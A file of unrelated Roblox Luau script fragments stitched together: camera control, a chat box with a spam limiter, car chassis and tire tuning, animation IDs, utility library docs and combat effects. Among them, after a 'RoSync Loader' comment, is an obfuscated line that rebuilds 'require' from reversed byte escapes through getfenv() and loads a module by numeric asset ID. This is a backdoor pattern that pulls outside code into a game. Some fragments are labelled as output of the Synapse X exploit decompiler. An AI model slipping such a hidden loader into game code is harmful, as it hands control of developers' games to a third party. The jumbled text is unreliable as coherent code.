function makeRay(cframe, size) local p = Instance.new("Part") p.Name = "RayPart" p.BrickColor = BrickColor.new("New Yeller") p.Material = "Neon" p.Transparency = 0.5 p.Anchored = true p.CanCollide = false p.TopSurface = Enum.SurfaceType.Smooth p.BottomSurface = Enum.SurfaceType.Smooth p.formFactor = Enum.FormFactor.Custom p.CFrame = cframe p.Size = size p.Parent = m ignoreList[#ignoreList+1] = p end
-- Formerly getCurrentCameraMode, this function resolves developer and user camera control settings to -- decide which camera control module should be instantiated. The old method of converting redundant enum types
function CameraModule:GetCameraControlChoice() local player = Players.LocalPlayer if player then if UserInputService:GetLastInputType() == Enum.UserInputType.Touch or UserInputService.TouchEnabled then -- Touch if player.DevTouchCameraMode == Enum.DevTouchCameraMovementMode.UserChoice then return CameraUtils.ConvertCameraModeEnumToStandard( UserGameSettings.TouchCameraMovementMode ) else return CameraUtils.ConvertCameraModeEnumToStandard( player.DevTouchCameraMode ) end else -- Computer if player.DevComputerCameraMode == Enum.DevComputerCameraMovementMode.UserChoice then local computerMovementMode = CameraUtils.ConvertCameraModeEnumToStandard(UserGameSettings.ComputerCameraMovementMode) return CameraUtils.ConvertCameraModeEnumToStandard(computerMovementMode) else return CameraUtils.ConvertCameraModeEnumToStandard(player.DevComputerCameraMode) end end end end function CameraModule:OnCharacterAdded(char, player) if self.activeOcclusionModule then self.activeOcclusionModule:CharacterAdded(char, player) end end function CameraModule:OnCharacterRemoving(char, player) if self.activeOcclusionModule then self.activeOcclusionModule:CharacterRemoving(char, player) end end function CameraModule:OnPlayerAdded(player) player.CharacterAdded:Connect(function(char) self:OnCharacterAdded(char, player) end) player.CharacterRemoving:Connect(function(char) self:OnCharacterRemoving(char, player) end) end function CameraModule:OnMouseLockToggled() if self.activeMouseLockController then local mouseLocked = self.activeMouseLockController:GetIsMouseLocked() local mouseLockOffset = self.activeMouseLockController:GetMouseLockOffset() if self.activeCameraController then self.activeCameraController:SetIsMouseLocked(mouseLocked) self.activeCameraController:SetMouseLockOffset(mouseLockOffset) end end end local cameraModuleObject = CameraModule.new() return {}
----------------------- ------
for _,v in pairs(script.Parent.PS.bu:GetChildren())do local dx=math.abs(v.inf.Value.Y)==1 and 1 or 2 local x,y=v.Position.X.Offset+v.inf.Value.X*dx,v.Position.Y.Offset+v.inf.Value.Y if y<0 then y=0 v.inf.Value=Vector3.new(v.inf.Value.X,-v.inf.Value.Y)end if y>36 then y=36 v.inf.Value=Vector3.new(v.inf.Value.X,-v.inf.Value.Y)end v.Position=UDim2.new(0,x,0,y) if x>75 then v:Destroy()end if x<1 then v:Destroy()end if col(v,script.Parent.PS.ca)then v:Destroy()end if v and v.Parent and v.inf.Value.X==1 and col(v,script.Parent.PS.p2)then v:Destroy() if s2==0 then s2=1 sc1=sc1+1 rest()end end if v and v.Parent and v.inf.Value.X==-1 and col(v,script.Parent.PS.p1)then v:Destroy() if s1==0 then s1=1 sc2=sc2+1 rest()end end end
-- TeleportService:Teleport(placeID_Premium, player)
-- Else, prompt Premium upgrade (use debounce to show it only once every few seconds) else if showPrompt == false then return end showPrompt = false delay(5, function() showPrompt = true end) MarketplaceService:PromptPremiumPurchase(player) warn("Prompted Premium purchase") end end teleporter.Touched:Connect(onTeleporterTouch)
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; local v2 = require(game.ReplicatedStorage.Modules.Lightning); local v3 = require(game.ReplicatedStorage.Modules.Xeno); local v4 = require(game.ReplicatedStorage.Modules.CameraShaker); local l__TweenService__5 = game.TweenService; local l__Debris__6 = game.Debris; local l__ReplicatedStorage__1 = game.ReplicatedStorage; function v1.RunStompFx(p1, p2, p3, p4) local v7 = l__ReplicatedStorage__1.KillFX[p1].Effect:Clone(); v7.Parent = p2.Parent.UpperTorso and p2; v7.Enabled = true; game.Debris:AddItem(v7, 4); local u2 = false; task.delay(0, function() for v8 = 0, 0.25, 0.01 do v7.StudsOffset = Vector3.new(v7.StudsOffset.X - v8 / 2, v7.StudsOffset.Y - v8, 0); task.wait(); end; local v9 = l__ReplicatedStorage__1.KillFX[p1].Stomp:Clone(); v9.Parent = p2.Parent.UpperTorso or p2; v9:Play(); game.Debris:AddItem(v9, 4); for v10 = 0, 0.25, 0.01 do v7.StudsOffset = Vector3.new(v7.StudsOffset.X - v10, v7.StudsOffset.Y + v10, 0); task.wait(); end; v7:Destroy(); u2 = true; end); while true do task.wait(); if u2 == true then break; end; if v7.Parent == nil then break; end; end; if v7.Parent ~= nil then v7:Destroy(); end; return nil; end; return v1;
--[[ Version ]]
module.MajorVersion = 0 module.MinorVersion = 5
-- local endbrick = workspace.EndKillBrick
local tweenInfo = TweenInfo.new( 2, -- Time Enum.EasingStyle.Linear, -- EasingStyle Enum.EasingDirection.Out, -- EasingDirection 0, -- RepeatCount (when less than zero the tween will loop indefinitely) false, -- Reverses (tween will reverse once reaching it's goal) 0 -- DelayTime ) script.Parent.Touched:connect(function(hit) local tweenToB = game:GetService("TweenService"):Create(hit, tweenInfo, {CFrame = spawn.CFrame}) if hit and hit.Parent and hit.Parent:FindFirstChild("Humanoid") then local player = game.Players:GetPlayerFromCharacter(hit.Parent) local checkpointData = game.ServerStorage:FindFirstChild("CheckpointData") if not checkpointData then checkpointData = Instance.new("Model", game.ServerStorage) checkpointData.Name = "CheckpointData" end local checkpoint = checkpointData:FindFirstChild(tostring(player.userId)) if not checkpoint then checkpoint = Instance.new("ObjectValue", checkpointData) checkpoint.Name = tostring(player.userId) player.CharacterAdded:connect(function(character) wait() character:WaitForChild("HumanoidRootPart").CFrame = game.ServerStorage.CheckpointData[tostring(player.userId)].Value.CFrame + Vector3.new(0, 4, 0) end) end checkpoint.Value = spawn hit.Anchored = true hit.Parent:FindFirstChild('Humanoid').PlatformStand = true tweenToB:Play() wait(1.8) tweenToB:Pause() hit.Parent:FindFirstChild('Humanoid').PlatformStand = false -- game.Players:GetPlayerFromCharacter(hit.Parent):FindFirstChild('Humanoid').PlatformStand = false hit.Anchored = false _G.giveToolToPlayer(game.Players:GetPlayerFromCharacter(hit.Parent)) end end)
--[=[ Gets whatever object is stored with the given index, if it exists. This was added since Maid allows getting the task using `__index`. ```lua local Obliterator = Janitor.new() Obliterator:Add(workspace.Baseplate, "Destroy", "Baseplate") print(Obliterator:Get("Baseplate")) -- Returns Baseplate. ``` ```ts import { Workspace } from "@rbxts/services"; import { Janitor } from "@rbxts/janitor"; const Obliterator = new Janitor<{ Baseplate: Part }>(); Obliterator.Add(Workspace.FindFirstChild("Baseplate") as Part, "Destroy", "Baseplate"); print(Obliterator.Get("Baseplate")); // Returns Baseplate. ``` @param Index any -- The index that the object is stored under. @return any? -- This will return the object if it is found, but it won't return anything if it doesn't exist. ]=]
function Janitor:Get(Index: any): any? local This = self[IndicesReference] if This then return This[Index] else return nil end end local function GetFenv(self) return function() for Object, MethodName in pairs(self) do if Object ~= IndicesReference then return Object, MethodName end end end end
-- Basic settings
local MAX_SPAM_SCORE = 5 local plr = game.Players.LocalPlayer local tweenService = game:GetService("TweenService") local defaultMsg = "Tap here to chat" local previousText = script.Parent.TypeArea.Text local size = 1 local tweenInProgress = false local spamScore = 0 function tweenToTripleSize() -- Tween size tweenInProgress = true local goal = { Size = UDim2.new(1, -365, 0, 60) } local tween = tweenService:Create(script.Parent, TweenInfo.new(0.05, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), goal) tween.Completed:connect(function() tweenInProgress = false end) tween:Play() end function tweenToDoubleSize() -- Tween size tweenInProgress = true local goal = { Size = UDim2.new(1, -365, 0, 48) } local tween = tweenService:Create(script.Parent, TweenInfo.new(0.05, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), goal) tween.Completed:connect(function() tweenInProgress = false end) tween:Play() end function tweenToNormalSize() -- Tween size tweenInProgress = true local goal = { Size = UDim2.new(1, -365, 0, 36) } local tween = tweenService:Create(script.Parent, TweenInfo.new(0.05, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), goal) tween.Completed:connect(function() tweenInProgress = false end) tween:Play() end script.Parent.TypeArea.Focused:connect(function() -- Reset text if default if script.Parent.TypeArea.Text == defaultMsg then script.Parent.TypeArea.Text = "" end end) script.Parent.TypeArea.FocusLost:connect(function(enterPressed) -- Check if enter was pressed if enterPressed then -- Clear spaces at beginning local msg = script.Parent.TypeArea.Text for i=1, string.len(script.Parent.TypeArea.Text) do if string.sub(script.Parent.TypeArea.Text, i, i) == ' ' and i < string.len(script.Parent.TypeArea.Text) then msg = string.sub(script.Parent.TypeArea.Text, i + 1, string.len(script.Parent.TypeArea.Text)) else if string.sub(script.Parent.TypeArea.Text, i, i) == ' ' then msg = "" end break end end -- Clear spaces at end if msg ~= "" then local prevMsg = msg for i=string.len(prevMsg), 1, -1 do if string.sub(prevMsg, i, i) == ' ' and i > 1 then msg = string.sub(prevMsg, 1, i - 1) else if string.sub(prevMsg, i, i) == ' ' then msg = "" end break end end end -- Send message if not blank if msg ~= "" and spamScore <= MAX_SPAM_SCORE then game.ReplicatedStorage.Interactions.Server.SendChatMessage:FireServer(msg) spamScore = spamScore + 2 elseif msg ~= "" and spamScore > MAX_SPAM_SCORE then plr.PlayerGui.MainGui.Chat.ShowChatMessage:Fire(nil, "You are chatting too quickly. You can chat again in " .. spamScore - MAX_SPAM_SCORE .. " seconds.") end -- Clear set text to default text script.Parent.TypeArea.Text = defaultMsg else -- Set to default if blank if script.Parent.TypeArea.Text == "" then script.Parent.TypeArea.Text = defaultMsg end end end) script.Parent.TypeArea:GetPropertyChangedSignal("Text"):connect(function() -- Check if went out of bounds if not tweenInProgress then if not script.Parent.TypeArea.TextFits and size == 1 then tweenToDoubleSize() size = 2 elseif not script.Parent.TypeArea.TextFits and size == 2 then tweenToTripleSize() size = 3 elseif not script.Parent.TypeArea.TextFits and size == 3 then script.Parent.TypeArea.Text = previousText elseif size > 2 and script.Parent.TypeArea.TextBounds.Y == 24 then tweenToDoubleSize() size = 2 elseif size > 1 and script.Parent.TypeArea.TextBounds.Y == 12 then tweenToNormalSize() size = 1 end end -- Set previous text previousText = script.Parent.TypeArea.Text end) while wait(1) do -- Decrement spam score if spamScore > 0 then spamScore = spamScore - 1 end end
--[=[ Observes the current value of the ValueObject @param valueObject ValueObject<T> @return Observable<Brio<T>> ]=]
function ValueObjectUtils.observeValueBrio(valueObject) assert(valueObject, "Bad valueObject") return Observable.new(function(sub) local maid = Maid.new() local function refire() local brio = Brio.new(valueObject.Value) maid._lastBrio = brio sub:Fire(brio) end maid:GiveTask(valueObject.Changed:Connect(refire)) refire() return maid end) end return ValueObjectUtils
--[END]] --[[ Last synced 7/19/2021 06:21 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- ANimation
local Sound = script:WaitForChild("Haoshoku Sound") UIS.InputBegan:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.C and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" then Debounce = 2 Track1 = plr.Character.Humanoid:LoadAnimation(script.AnimationCharge) Track1:Play() script.RemoteEventS:FireServer() EF = game.ReplicatedStorage.Thunder.Aim:Clone() EF.Parent = plr.Character EF.Name = "AIM" for i = 1,math.huge do if Debounce == 2 then EF.CFrame = CFrame.new(Mouse.Hit.p) plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p) plr.Character.HumanoidRootPart.Anchored = true else break end wait() end end end) UIS.InputEnded:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.C and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" then Debounce = 3 local Track2 = plr.Character.Humanoid:LoadAnimation(script.AnimationRelease) Track2:Play() Track1:Stop() Sound:Play() local mousepos = Mouse.Hit script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p) wait(0.5) EF:Destroy() Track2:Stop() plr.Character.HumanoidRootPart.Anchored = false local hum = plr.Character.Humanoid for i = 1,35 do wait() hum.CameraOffset = Vector3.new(math.random(-3,3),math.random(-3,3),math.random(-3,3)) end hum.CameraOffset = Vector3.new(0,0,0) Tool.Active.Value = "None" wait(3) Debounce = 1 end end)
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 5 -- cooldown for use of the tool again ZoneModelName = "killer slash" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; local v2 = require(game.ReplicatedStorage.Modules.Lightning); local v3 = require(game.ReplicatedStorage.Modules.Xeno); local v4 = require(game.ReplicatedStorage.Modules.CameraShaker); local l__TweenService__5 = game.TweenService; local l__Debris__6 = game.Debris; local l__ReplicatedStorage__1 = game.ReplicatedStorage; function v1.RunStompFx(p1, p2, p3, p4) local v7 = l__ReplicatedStorage__1.KillFX[p1].Ring:Clone(); v7.Parent = p2.Parent.UpperTorso and p2; v7:Play(); game.Debris:AddItem(v7, 2); local v8 = l__ReplicatedStorage__1.KillFX[p1].Part:Clone(); v8.Parent = workspace.Ignored.Animations; v8.Position = p2.Position; task.delay(0.35, function() v8.Attachment.Particle.Enabled = false; end); return nil; end; return v1;
--Made by Luckymaxer
Particles = script.Parent Debris = game:GetService("Debris") Debris:AddItem(Particles, 3) wait(1.5) Particles.Enabled = false
-- lol xddd
script.Parent.MouseButton1Click:connect(function() -- The function of when the Players Clicks. if script.Parent.Parent.Box.Visible == false then -- This tells wither it is open or not. script.Parent.Text = "Close" -- Tells us that it is open. script.Parent.Parent.Box.Visible = true -- Makes the box visible. else -- Otherwise script.Parent.Text = "Job Changer" -- Tells us that it is closed. script.Parent.Parent.Box.Visible = false -- Makes the box Invisible end -- Ends the If statement. end) -- Ends the function in general.
--!strict
type Match = { index: number, match: string, }
--Update RPM
function RPM() --Neutral Gear if _CGear==0 then _ClutchOn = false end --Car Is Off local revMin = _Tune.IdleRPM if not _IsOn then revMin = 0 _CGear = 0 _ClutchOn = false _GThrot = _Tune.IdleThrottle/100 end --Determine RPM local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _ClutchOn then local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin) local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9) _RPM = _RPM*clutchP + aRPM*(1-clutchP) else if _GThrot-(_Tune.IdleThrottle/100)>0 then if _RPM>_Tune.Redline then _RPM = _RPM-_Tune.RevBounce*2 else _RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100) end else _RPM = math.max(_RPM-_Tune.RevDecay,revMin) end end --Rev Limiter _spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2]) if _RPM>_Tune.Redline then if _CGear<#_Tune.Ratios-2 then _RPM = _RPM-_Tune.RevBounce else _RPM = _RPM-_Tune.RevBounce*.5 end end end
--[=[ @within TableUtil @function Keys @param tbl table @return table Returns an array with all the keys in the table. ```lua local t = {A = 10, B = 20, C = 30} local keys = TableUtil.Keys(t) print(keys) --> {"A", "B", "C"} ``` :::caution Ordering The ordering of the keys is never guaranteed. If order is imperative, call `table.sort` on the resulting `keys` array. ```lua local keys = TableUtil.Keys(t) table.sort(keys) ``` ]=]
local function Keys<K, V>(tbl: { [K]: V }): { K } local keys = table.create(#tbl) for k in tbl do table.insert(keys, k) end return keys end
-- единица сетки
grid = game.Workspace.Configuration.GridSize.Value local player = game.Players.LocalPlayer while true do -- local char = player.Character or player.CharacterAdded:Wait() -- GetPlayerFromCharacter local char = player.Character if char.PrimaryPart then -- проверка на загрузку персонажа local pos = char:GetPrimaryPartCFrame().Position local txt = math.floor(pos.X / grid ) .. " / " .. math.floor( -pos.Z / grid ) me.Text = txt else me.Text = "" -- нет координат end -- ожидаем wait(1) end
--------------------------------------------
print("Phase 1 - Charge") local exp = Instance.new("Explosion") exp.Position = script.Parent.Position exp.BlastPressure = 10000 exp.BlastRadius = 40 exp.Visible = false exp.Parent = workspace script.Parent.Trail.Enabled = false script.Parent.radialneedles.Disabled = false script.Parent.hallelujah:Stop() script.Parent.Abscond:Play() script.Parent.Charge:Play() script.Parent.ChargeExSound:Play() script.Parent.ChargeExSound2:Play() script.Parent.ChargeExSound3:Play() script.Parent.ChargeExSound4:Play() script.Parent.ChargeExSound5:Play() script.Parent.ChargeStart:Play() script.Parent.ChargeStart2:Play() script.Parent.ChargeStart3:Play() script.Parent.Curse:Play() script.Parent.booooooooooooiiiiinnngggg:Play() script.Parent.DBC:Play() script.Parent.DBCha:Play() script.Parent.DS:Play() script.Parent.DSHit:Play() script.Parent.Defile:Play() script.Parent.Elec:Play() script.Parent.Activate.Enabled = false script.Parent.ChargeEx:Emit(400)
-- this plugin was made to work with my track, however it'll still work if you use glass or ice as the wet track surface -- https://www.roblox.com/games/4940324361/AIC-Autodromo-Internacional-de-Codegua -- if you're going to add a rain system, i highly suggest you hide the wet track surface in somewhere that isnt workspace when its off, because then the water effect will still appear
--[[ Systems that need to wait for config override to happen ]]
local PlayerMatchInfo = require(ReplicatedStorage.Libraries.PlayerMatchInfo) WeaponsSystem.setGetTeamCallback(function(player) return PlayerMatchInfo.GetField(player, "teamNumber") end)
--/Recoil Modification
module.camRecoil = { RecoilUp = 1 ,RecoilTilt = 1 ,RecoilLeft = 1 ,RecoilRight = 1 } module.gunRecoil = { RecoilUp = 1 ,RecoilTilt = 1 ,RecoilLeft = 1 ,RecoilRight = 1 } module.AimRecoilReduction = 1 module.AimSpreadReduction = 1 module.MinRecoilPower = 1 module.MaxRecoilPower = 1 module.RecoilPowerStepAmount = 1 module.MinSpread = 1 module.MaxSpread = 1 module.AimInaccuracyStepAmount = 1 module.AimInaccuracyDecrease = 1 module.WalkMult = 1 module.MuzzleVelocityMod = 1 return module
-- 0 = Least Significant Bit, 31 = Most Significant Bit
local function rRotateSubsection(int, start, width, disp) local wrappedBits local shiftedBits disp = disp % width if disp == 0 then return int end wrappedBits = bit32.extract(int, start, disp) wrappedBits = bit32.lshift(wrappedBits, width - disp) shiftedBits = bit32.extract(int, start + disp, width - disp) return bit32.replace(int, bit32.bor(wrappedBits, shiftedBits), start, width) end function BitOps.rotateConnectivity(connectivity, degrees) return rRotateSubsection(connectivity, 0, 24, 6 * (degrees % 360) / 90) end function BitOps.rotateOccupancy(occupancy, degrees) local occupancyWithVerticalFacesRotated = rRotateSubsection(occupancy, 2, 4, (degrees % 360) / 90) return rRotateSubsection(occupancyWithVerticalFacesRotated, 6, 8, 2 * (degrees % 360) / 90) end
---ex2---
script.Parent.Parent.ex2.exit1.SurfaceGui.TextLabel.TextTransparency = 0 script.Parent.Parent.ex2.exit2.SurfaceGui.TextLabel.TextTransparency = 0 script.Parent.Parent.ex2.exit3.SurfaceGui.TextLabel.TextTransparency = 0 script.Parent.Parent.ex2.exit4.SurfaceGui.TextLabel.TextTransparency = 0 script.Parent.Parent.ex2.exit5.SurfaceGui.TextLabel.TextTransparency = 0 script.Parent.Parent.ex2.exit6.SurfaceGui.TextLabel.TextTransparency = 0
--RightShoulder = Torso:WaitForChild("Right Shoulder") --LeftShoulder = Torso:WaitForChild("Left Shoulder")
RightHip = Torso:WaitForChild("Right Hip") LeftHip = Torso:WaitForChild("Left Hip") Neck = Torso:WaitForChild("Neck") Humanoid = Figure:WaitForChild("Humanoid") Pose = "Standing" CurrentAnim = "" CurrentAnimTrack = nil CurrentAnimKeyframeHandler = nil CurrentAnimSpeed = 1.0 AnimTable = {} AnimNames = { Idle = { {Id = "http://www.roblox.com/asset/?id=125750544", Weight = 9}, {Id = "http://www.roblox.com/asset/?id=125750618", Weight = 1}, }, Walk = { {Id = "http://www.roblox.com/asset/?id=125749145", Weight = 10}, }, Run = { {Id = "run.xml", Weight = 10}, }, Jump = { {Id = "http://www.roblox.com/asset/?id=125750702", Weight = 10}, }, Fall = { {Id = "http://www.roblox.com/asset/?id=125750759", Weight = 10}, }, Climb = { {Id = "http://www.roblox.com/asset/?id=125750800", Weight = 10}, }, ToolNone = { {Id = "http://www.roblox.com/asset/?id=125750867", Weight = 10}, }, ToolSlash = { {Id = "http://www.roblox.com/asset/?id=129967390", Weight = 10},
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local handler = car:WaitForChild("AC6_FE_Sounds") local _Tune = require(car["A-Chassis Tune"]) local on = 0 local throt=0 local redline=0 script:WaitForChild("Rev") script:WaitForChild("Elec") for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.SetVol.Value,true) handler:FireServer("newSound","Elec",car.DriveSeat,script.Elec.SoundId,0,script.Elec.SetVol.Value,true) handler:FireServer("playSound","Rev") handler:FireServer("playSound","Elec") car.DriveSeat:WaitForChild("Rev") car.DriveSeat:WaitForChild("Elec") while wait() do local _RPM = script.Parent.Values.RPM.Value if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then throt = math.max(.3,throt-.2) else throt = math.min(1,throt+.1) end if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then redline=.5 else redline=1 end if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end local RevVol = script.Rev.SetVol.Value local ElecVol = script.Elec.SetVol.Value if not _Tune.Engine then RevVol = 0 end if not _Tune.Electric then ElecVol = 0 end local RevPitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Rev.SetPitch.Value) local ElecPitch = math.max((((script.Elec.SetPitch.Value + script.Elec.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Elec.SetPitch.Value) handler:FireServer("updateSound","Rev",script.Rev.SoundId,RevPitch,RevVol) handler:FireServer("updateSound","Elec",script.Elec.SoundId,ElecPitch,ElecVol) end
--Tune
local _Select = "AllSeason" --(AllSeason, Slicks, SemiSlicks, AllTerrain, DragRadials, Custom) Caps and space sensitive local _Custom = { TireWearOn = true , --Friction and Wear FWearSpeed = .2 , --How fast your tires will degrade (Front) FTargetFriction = 1.23 , --Friction in optimal conditions (Front) FMinFriction = 0.35 , --Friction in worst conditions (Front) RWearSpeed = .2 , --How fast your tires will degrade (Rear) RTargetFriction = 1.23 , --Friction in optimal conditions (Rear) RMinFriction = 0.35 , --Friction in worst conditions (Rear) --Tire Slip TCSOffRatio = 1/1.7 , --How much optimal grip your car will lose with TCS off, set to 1 if you dont want any losses. WheelLockRatio = 1/6 , --How much grip your car will lose when locking the wheels WheelspinRatio = 1/1.2 , --How much grip your car will lose when spinning the wheels --Wheel Properties FFrictionWeight = 2 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Front) (PGS) RFrictionWeight = 2 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Rear) (PGS) FLgcyFrWeight = 0 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Front) RLgcyFrWeight = 0 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Rear) FElasticity = 0 , --How much your wheel will bounce (Front) (PGS) RElasticity = 0 , --How much your wheel will bounce (Rear) (PGS) FLgcyElasticity = 0 , --How much your wheel will bounce (Front) RLgcyElasticity = 0 , --How much your wheel will bounce (Rear) FElastWeight = 1 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Front) (PGS) RElastWeight = 1 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Rear) (PGS) FLgcyElWeight = 10 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Front) RLgcyElWeight = 10 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Rear) --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _AllSeason = { TireWearOn = true , --Friction and Wear FWearSpeed = .2 , --Don't change this FTargetFriction = .6 , -- .58 to .63 FMinFriction = 0.35 , --Don't change this RWearSpeed = .2 , --Don't change this RTargetFriction = .6 , -- .58 to .63 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 2 , --Don't change this RFrictionWeight = 2 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _Slicks = { TireWearOn = true , --Friction and Wear FWearSpeed = .6 , --Don't change this FTargetFriction = .93 , -- .88 to .93 FMinFriction = 0.35 , --Don't change this RWearSpeed = .6 , --Don't change this RTargetFriction = .93 , -- .88 to .93 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 0.6 , --Don't change this RFrictionWeight = 0.6 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _SemiSlicks = { TireWearOn = true , --Friction and Wear FWearSpeed = .5 , --Don't change this FTargetFriction = .78 , -- .73 to .78 FMinFriction = 0.35 , --Don't change this RWearSpeed = .5 , --Don't change this RTargetFriction = .78 , -- .73 to .78 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 0.6 , --Don't change this RFrictionWeight = 0.6 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _AllTerrain = { TireWearOn = true , --Friction and Wear FWearSpeed = .3 , --Don't change this FTargetFriction = .5 , -- .48 to .53 FMinFriction = 0.35 , --Don't change this RWearSpeed = .3 , --Don't change this RTargetFriction = .5 , -- .48 to .53 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 10 , --Don't change this RFrictionWeight = 10 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _DragRadials = { TireWearOn = true , --Friction and Wear FWearSpeed = 30 , --Don't change this FTargetFriction = 1.2 , -- 1.18 to 1.23 FMinFriction = 0.35 , --Don't change this RWearSpeed = 30 , --Don't change this RTargetFriction = 1.2 , -- 1.18 to 1.23 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 1 , --Don't change this RFrictionWeight = 1 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 20 , --Don't change this } local car = script.Parent.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local cValues = script.Parent.Parent:WaitForChild("Values") local _WHEELTUNE = _AllSeason if _Select == "DragRadials" then _WHEELTUNE = _DragRadials elseif _Select == "Custom" then _WHEELTUNE = _Custom elseif _Select == "AllTerrain" then _WHEELTUNE = _AllTerrain elseif _Select == "Slicks" then _WHEELTUNE = _Slicks elseif _Select == "SemiSlicks" then _WHEELTUNE = _SemiSlicks else _WHEELTUNE = _AllSeason end car.DriveSeat.TireStats.Fwear.Value = _WHEELTUNE.FWearSpeed car.DriveSeat.TireStats.Ffriction.Value = _WHEELTUNE.FTargetFriction car.DriveSeat.TireStats.Fminfriction.Value = _WHEELTUNE.FMinFriction 